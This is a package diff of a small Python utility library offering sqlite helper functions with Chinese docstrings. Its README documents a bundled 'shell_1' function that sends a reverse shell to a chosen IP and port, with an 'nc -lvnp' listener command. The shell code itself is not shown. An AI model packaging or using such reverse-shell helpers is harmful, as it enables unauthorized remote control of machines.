字段类型{}:指定创建字段的类型\n
|
|
35
|
+
默认值:在没有指定的情况下创建字段的默认值='TEXT'\n
|
|
36
|
+
数据库:默认链接='主记录表'\n
|
|
37
|
+
返回创建情况[真/假]\n
|
|
38
|
+
'''
|
|
39
|
+
try:
|
|
40
|
+
sql = f'CREATE TABLE "{表名}" ('
|
|
41
|
+
for f1 in 字段:
|
|
42
|
+
sql += f'{f1} {字段类型.get(f1, 默认值)},'
|
|
43
|
+
sql = sql[:-1]+');'
|
|
44
|
+
conn = sqlite3.connect(f'数据存放/{数据库}.db')
|
|
45
|
+
cursor = conn.cursor()
|
|
46
|
+
a = time.strftime("%Y-%m-%d %H:%M:%S\n")+f'sql:{sql}{'\n'*2}'
|
|
47
|
+
open('日志/数据库操作.txt', 'a', encoding='utf-8').write(a)
|
|
48
|
+
open('日志/创建库数据.txt', 'a', encoding='utf-8').write(a)
|
|
49
|
+
cursor.execute(sql)
|
|
50
|
+
conn.commit()
|
|
51
|
+
conn.close()
|
|
52
|
+
except:
|
|
53
|
+
ChangYong.报错信息()
|
|
54
|
+
return False
|
|
55
|
+
return True
|
|
56
|
+
|
|
57
|
+
|
|
58
|
+
def db_dq(sql, value: tuple = '', 数据库='主记录表'):
|
|
59
|
+
'''
|
|
60
|
+
db_dq(sql, value: tuple = '', 数据库='主记录表')
|
|
61
|
+
sql: 查询数据的sql语句
|
|
62
|
+
value(): sql语句中的'?'值
|
|
63
|
+
数据库: 默认链接='主记录表'
|
|
64
|
+
(返回执行情况[真/假],返回执行后的数据表)
|
|
65
|
+
'''
|
|
66
|
+
try:
|
|
67
|
+
conn = sqlite3.connect(f'数据存放/{数据库}.db')
|
|
68
|
+
cursor = conn.cursor()
|
|
69
|
+
a = time.strftime("%Y-%m-%d %H:%M:%S\n")+f'sql:{sql}\nvalue:{value}'+'\n'*2
|
|
70
|
+
open('日志/数据库操作.txt', 'a', encoding='utf-8').write(a)
|
|
71
|
+
open('日志/读取库数据.txt', 'a', encoding='utf-8').write(a)
|
|
72
|
+
if value == "":
|
|
73
|
+
cursor.execute(sql)
|
|
74
|
+
else:
|
|
75
|
+
cursor.execute(sql, value)
|
|
76
|
+
a = cursor.fetchall()
|
|
77
|
+
conn.close()
|
|
78
|
+
except:
|
|
79
|
+
ChangYong.报错信息()
|
|
80
|
+
return False, ''
|
|
81
|
+
return True, a
|
|
82
|
+
|
|
83
|
+
|
|
84
|
+
def db_xr(表: str, 段: list, 值: list, 数据库='主记录表'):
|
|
85
|
+
'''
|
|
86
|
+
db_xr(表: str, 段: list, 值: list, 数据库='主记录表')
|
|
87
|
+
表: 写入数据的表名
|
|
88
|
+
段: 写入的字段名
|
|
89
|
+
值: 写入的字段值
|
|
90
|
+
数据库: 写入的数据库名默认数据库='主记录表'
|
|
91
|
+
(返回执行情况[真/假],返回自增值序号)
|
|
92
|
+
'''
|
|
93
|
+
try:
|
|
94
|
+
for f1 in range(len(值)):
|
|
95
|
+
if not type(值[f1]) in [int, str] and not 值[f1] == None:
|
|
96
|
+
值[f1] = str(值[f1])
|
|
97
|
+
a = '"'+'","'.join(段)+'"'
|
|
98
|
+
b = ','.join(['?']*len(段))
|
|
99
|
+
conn = sqlite3.connect(f'数据存放/{数据库}.db')
|
|
100
|
+
cursor = conn.cursor()
|
|
101
|
+
sql = f'INSERT INTO "{表}" ({a}) VALUES ({b})'
|
|
102
|
+
a = time.strftime("%Y-%m-%d %H:%M:%S\n")+f'sql:{sql}\nvalue:{值}'+'\n'*2
|
|
103
|
+
open('日志/数据库操作.txt', 'a', encoding='utf-8').write(a)
|
|
104
|
+
open('日志/写入数据库.txt', 'a', encoding='utf-8').write(a)
|
|
105
|
+
cursor.execute(sql, 值)
|
|
106
|
+
a = cursor.lastrowid
|
|
107
|
+
conn.commit()
|
|
108
|
+
conn.close()
|
|
109
|
+
except:
|
|
110
|
+
ChangYong.报错信息()
|
|
111
|
+
return False, ''
|
|
112
|
+
return True, a
|
|
113
|
+
|
|
114
|
+
|
|
115
|
+
def db_xg(表: str, 查段: list, 查值: tuple, 写段: list, 写值: tuple, 数据库='主记录表'):
|
|
116
|
+
'''
|
|
117
|
+
db_xg(表: str, 查段: list, 查值: tuple, 写段: list, 写值: tuple, 数据库='主记录表')
|
|
118
|
+
表: 修改数据的表名
|
|
119
|
+
查段: 判断修改数据的字段名
|
|
120
|
+
查值: 字段名对应的值确保数据修改
|
|
121
|
+
写段: 需要修改的字段名
|
|
122
|
+
写值: 修改字段的值
|
|
123
|
+
数据库: 需要修改的数据名:默认值='主记录表'
|
|
124
|
+
(返回修改情况[真/假])
|
|
125
|
+
'''
|
|
126
|
+
try:
|
|
127
|
+
a = '=?,'.join(写段)+'=?'
|
|
128
|
+
b = '=? AND '.join(查段)+'=?'
|
|
129
|
+
conn = sqlite3.connect(f'数据存放/{数据库}.db')
|
|
130
|
+
cursor = conn.cursor()
|
|
131
|
+
sql = f'UPDATE "{表}" SET {a} WHERE {b}'
|
|
132
|
+
a = time.strftime("%Y-%m-%d %H:%M:%S\n") + f'sql:{sql}\nvalue:{写值+查值}'+'\n'*2
|
|
133
|
+
open('日志/数据库操作.txt', 'a', encoding='utf-8').write(a)
|
|
134
|
+
open('日志/修改数据库.txt', 'a', encoding='utf-8').write(a)
|
|
135
|
+
cursor.execute(sql, 写值+查值)
|
|
136
|
+
conn.commit()
|
|
137
|
+
conn.close()
|
|
138
|
+
except:
|
|
139
|
+
ChangYong.报错信息()
|
|
140
|
+
return False
|
|
141
|
+
return True
|
|
@@ -0,0 +1,260 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: xiaokang
|
|
3
|
+
Version: 0.1.0
|
|
4
|
+
Summary: 一个简单的 Python 库
|
|
5
|
+
Author-email: ZhaoYuanKang <1756972525@qq.com>
|
|
6
|
+
License: MIT License
|
|
7
|
+
|
|
8
|
+
Copyright (c) 2025 [ZhaoYuanKang or XiaoKang]
|
|
9
|
+
|
|
10
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
11
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
12
|
+
in the Software without restriction, including without limitation the rights
|
|
13
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
14
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
15
|
+
furnished to do so, subject to the following conditions:
|
|
16
|
+
|
|
17
|
+
1. The above copyright notice and this permission notice shall be included in
|
|
18
|
+
all copies or substantial portions of the Software.
|
|
19
|
+
|
|
20
|
+
2. Any modifications or derivative works of this software must be distributed
|
|
21
|
+
under the same MIT License and must retain the original copyright notice.
|
|
22
|
+
|
|
23
|
+
3. This software is provided "as is", without warranty of any kind, express or
|
|
24
|
+
implied, including but not limited to the warranties of merchantability,
|
|
25
|
+
fitness for a particular purpose, and non-infringement. In no event shall
|
|
26
|
+
the authors or copyright holders be liable for any claim, damages, or other
|
|
27
|
+
liability, whether in an action of contract, tort, or otherwise, arising from,
|
|
28
|
+
out of, or in connection with the software or the use or other dealings in the
|
|
29
|
+
Software.
|
|
30
|
+
|
|
31
|
+
特此许可任何人免费获取副本
|
|
32
|
+
本软件和相关文档文件(“软件”)的交易
|
|
33
|
+
在软件中不受限制,包括但不限于权利
|
|
34
|
+
使用、复制、修改、合并、发布、分发、再许可和/或销售
|
|
35
|
+
软件的副本,并允许软件的使用者
|
|
36
|
+
符合以下条件:
|
|
37
|
+
|
|
38
|
+
1.上述版权声明和本许可声明应包含在
|
|
39
|
+
软件的所有副本或重要部分。
|
|
40
|
+
|
|
41
|
+
2.本软件的任何修改或衍生作品都必须分发
|
|
42
|
+
在相同的MIT许可下,必须保留原始版权声明。
|
|
43
|
+
|
|
44
|
+
3.本软件按“原样”提供,没有任何形式的担保,明示或
|
|
45
|
+
暗示,包括但不限于适销性保证,
|
|
46
|
+
适用于特定目的,且不侵权。在任何情况下都不得
|
|
47
|
+
作者或版权所有者对任何索赔、损害赔偿或其他
|
|
48
|
+
责任,无论是在合同诉讼、侵权诉讼或其他诉讼中,由以下原因引起,
|
|
49
|
+
出于或与本软件或本软件的使用或
|
|
50
|
+
软件。
|
|
51
|
+
|
|
52
|
+
Project-URL: Personal website, http://121.37.247.246:200/
|
|
53
|
+
Requires-Python: >=3.7
|
|
54
|
+
Description-Content-Type: text/markdown
|
|
55
|
+
License-File: LICENSE
|
|
56
|
+
Dynamic: license-file
|
|
57
|
+
|
|
58
|
+
# 项目简介
|
|
59
|
+
|
|
60
|
+
把一些常用的功能写成函数
|
|
61
|
+
|
|
62
|
+
---
|
|
63
|
+
|
|
64
|
+
|
|
65
|
+
|
|
66
|
+
# 函数大全
|
|
67
|
+
|
|
68
|
+
```
|
|
69
|
+
XiaoKang/
|
|
70
|
+
├── ChangYong # 常用的功能
|
|
71
|
+
│ └── BaoCuoXingxi # 报错的时候执行会显示报错信息
|
|
72
|
+
├── sqlite #sqlite数据库的操作
|
|
73
|
+
│ ├── db_sql #提供sql语句,执行sql语句
|
|
74
|
+
│ ├── db_cj #提供字段和类型,创建数据表
|
|
75
|
+
│ ├── db_dq #提供sql语句和查找的值,进行查找数据
|
|
76
|
+
│ ├── db_xr #提供表、字段、值,进行写入数据
|
|
77
|
+
│ ├── db_xg #提供表、查找字段、查找值,写入字段、写入值,进行写入数据
|
|
78
|
+
├── shell #shell反弹
|
|
79
|
+
│ └── shell_1 #反弹shell到nc -lvnp 端口
|
|
80
|
+
└── 结束
|
|
81
|
+
```
|
|
82
|
+
|
|
83
|
+
|
|
84
|
+
|
|
85
|
+
# 函数讲解
|
|
86
|
+
|
|
87
|
+
所有的函数讲解怎么使用,和什么功能,你地,明白!?
|
|
88
|
+
|
|
89
|
+
## 1.ChangYong(常用)
|
|
90
|
+
|
|
91
|
+
### 1.1 BaoCuoXingxi(报错信息)
|
|
92
|
+
|
|
93
|
+
讲解功能:在代码执行的时候,如果报错可以执行这个,查看详细的报错信息
|
|
94
|
+
|
|
95
|
+
示例代码:
|
|
96
|
+
|
|
97
|
+
```
|
|
98
|
+
try:
|
|
99
|
+
print('1'+1)
|
|
100
|
+
except:
|
|
101
|
+
print(BaoCuoXingxi('json'))
|
|
102
|
+
|
|
103
|
+
输出:
|
|
104
|
+
|
|
105
|
+
{
|
|
106
|
+
"报错类型":"<class 'TypeError'>",
|
|
107
|
+
"报错信息":"can only concatenate str (not \"int\") to str",
|
|
108
|
+
"报错文件":"C:\\xxx\\xxxx\\xxxxx\\test_1.py",
|
|
109
|
+
"报错行数":6
|
|
110
|
+
}
|
|
111
|
+
```
|
|
112
|
+
|
|
113
|
+
|
|
114
|
+
|
|
115
|
+
## 2.sqlite(sqlite数据库)
|
|
116
|
+
|
|
117
|
+
### 2.1 db_sql(执行sql语句)
|
|
118
|
+
|
|
119
|
+
```
|
|
120
|
+
db_sql(sql, 数据库='主记录表')
|
|
121
|
+
sql:sql的执行语句
|
|
122
|
+
数据库:XXX.db文件,默认链接='主记录表'
|
|
123
|
+
```
|
|
124
|
+
|
|
125
|
+
返回:
|
|
126
|
+
|
|
127
|
+
```
|
|
128
|
+
(返回执行情况[真/假],返回执行后的数据表)
|
|
129
|
+
```
|
|
130
|
+
|
|
131
|
+
---
|
|
132
|
+
|
|
133
|
+
|
|
134
|
+
|
|
135
|
+
### 2.2 db_cj(创建数据表)
|
|
136
|
+
|
|
137
|
+
```
|
|
138
|
+
db_cj(表名, 字段, 字段类型: dict = {}, 默认值='TEXT', 数据库='主记录表')
|
|
139
|
+
表名:创建的表名
|
|
140
|
+
字段[]:创建表中的字段
|
|
141
|
+
字段类型{}:指定创建字段的类型
|
|
142
|
+
默认值:在没有指定的情况下创建字段的默认值='TEXT'
|
|
143
|
+
数据库:XXX.db文件,默认链接='主记录表'
|
|
144
|
+
```
|
|
145
|
+
|
|
146
|
+
返回:
|
|
147
|
+
|
|
148
|
+
```
|
|
149
|
+
返回创建情况[真/假]
|
|
150
|
+
```
|
|
151
|
+
|
|
152
|
+
---
|
|
153
|
+
|
|
154
|
+
|
|
155
|
+
|
|
156
|
+
### 2.3 db_dq(读取数据)
|
|
157
|
+
|
|
158
|
+
```
|
|
159
|
+
db_dq(sql, value: tuple = '', 数据库='主记录表')
|
|
160
|
+
sql:查询数据的sql语句
|
|
161
|
+
value():sql语句中的'?'值,防止被注入
|
|
162
|
+
数据库:XXX.db文件,默认链接='主记录表'
|
|
163
|
+
```
|
|
164
|
+
|
|
165
|
+
返回:
|
|
166
|
+
|
|
167
|
+
```
|
|
168
|
+
(返回执行情况[真/假],返回执行后的数据表)
|
|
169
|
+
```
|
|
170
|
+
|
|
171
|
+
---
|
|
172
|
+
|
|
173
|
+
|
|
174
|
+
|
|
175
|
+
### 2.4 db_xr(新增写入数据)
|
|
176
|
+
|
|
177
|
+
```
|
|
178
|
+
db_xr(表: str, 段: list, 值: list, 数据库='主记录表')
|
|
179
|
+
表: 写入数据的表名
|
|
180
|
+
段: 写入的字段名
|
|
181
|
+
值: 写入的字段值
|
|
182
|
+
数据库: 写入的数据库名默认数据库='主记录表'
|
|
183
|
+
```
|
|
184
|
+
|
|
185
|
+
返回:
|
|
186
|
+
|
|
187
|
+
```
|
|
188
|
+
(返回执行情况[真/假],返回自增值序号)
|
|
189
|
+
```
|
|
190
|
+
|
|
191
|
+
---
|
|
192
|
+
|
|
193
|
+
|
|
194
|
+
|
|
195
|
+
### 2.5 db_xg(修改已有数据)
|
|
196
|
+
|
|
197
|
+
```
|
|
198
|
+
db_xg(表: str, 查段: list, 查值: tuple, 写段: list, 写值: tuple, 数据库='主记录表')
|
|
199
|
+
表: 修改数据的表名
|
|
200
|
+
查段: 判断修改数据的字段名
|
|
201
|
+
查值: 字段名对应的值确保数据修改
|
|
202
|
+
写段: 需要修改的字段名
|
|
203
|
+
写值: 修改字段的值
|
|
204
|
+
数据库: 需要修改的数据名:默认值='主记录表'
|
|
205
|
+
```
|
|
206
|
+
|
|
207
|
+
返回:
|
|
208
|
+
|
|
209
|
+
```
|
|
210
|
+
(返回修改情况[真/假])
|
|
211
|
+
```
|
|
212
|
+
|
|
213
|
+
---
|
|
214
|
+
|
|
215
|
+
|
|
216
|
+
|
|
217
|
+
## 3.shell(shell反弹)
|
|
218
|
+
|
|
219
|
+
### 3.1 shell_1
|
|
220
|
+
|
|
221
|
+
```
|
|
222
|
+
用法: python shell.py <IP> <端口>
|
|
223
|
+
|
|
224
|
+
shell_1(<IP>, <端口>)
|
|
225
|
+
|
|
226
|
+
服务器开启监听
|
|
227
|
+
nc -lvnp 端口
|
|
228
|
+
```
|
|
229
|
+
|
|
230
|
+
|
|
231
|
+
|
|
232
|
+
# 安装方法
|
|
233
|
+
|
|
234
|
+
pip 安装大法
|
|
235
|
+
|
|
236
|
+
---
|
|
237
|
+
|
|
238
|
+
|
|
239
|
+
|
|
240
|
+
# 使用示例
|
|
241
|
+
|
|
242
|
+
导入函数会吧,不会自己学
|
|
243
|
+
|
|
244
|
+
---
|
|
245
|
+
|
|
246
|
+
|
|
247
|
+
|
|
248
|
+
# 依赖说明
|
|
249
|
+
|
|
250
|
+
目前没用使用其他依赖,都是用本地库
|
|
251
|
+
|
|
252
|
+
---
|
|
253
|
+
|
|
254
|
+
|
|
255
|
+
|
|
256
|
+
# 作者信息
|
|
257
|
+
|
|
258
|
+
作者:小康、米汤、鲁班
|
|
259
|
+
|
|
260
|
+
---
|
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
LICENSE
|
|
2
|
+
README.md
|
|
3
|
+
pyproject.toml
|
|
4
|
+
tests/test_1.py
|
|
5
|
+
xiaokang/ChangYong.py
|
|
6
|
+
xiaokang/__init__.py
|
|
7
|
+
xiaokang/shell.py
|
|
8
|
+
xiaokang/sqlite.py
|
|
9
|
+
xiaokang.egg-info/PKG-INFO
|
|
10
|
+
xiaokang.egg-info/SOURCES.txt
|
|
11
|
+
xiaokang.egg-info/dependency_links.txt
|
|
12
|
+
xiaokang.egg-info/not-zip-safe
|
|
13
|
+
xiaokang.egg-info/top_level.txt
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
xiaokang
|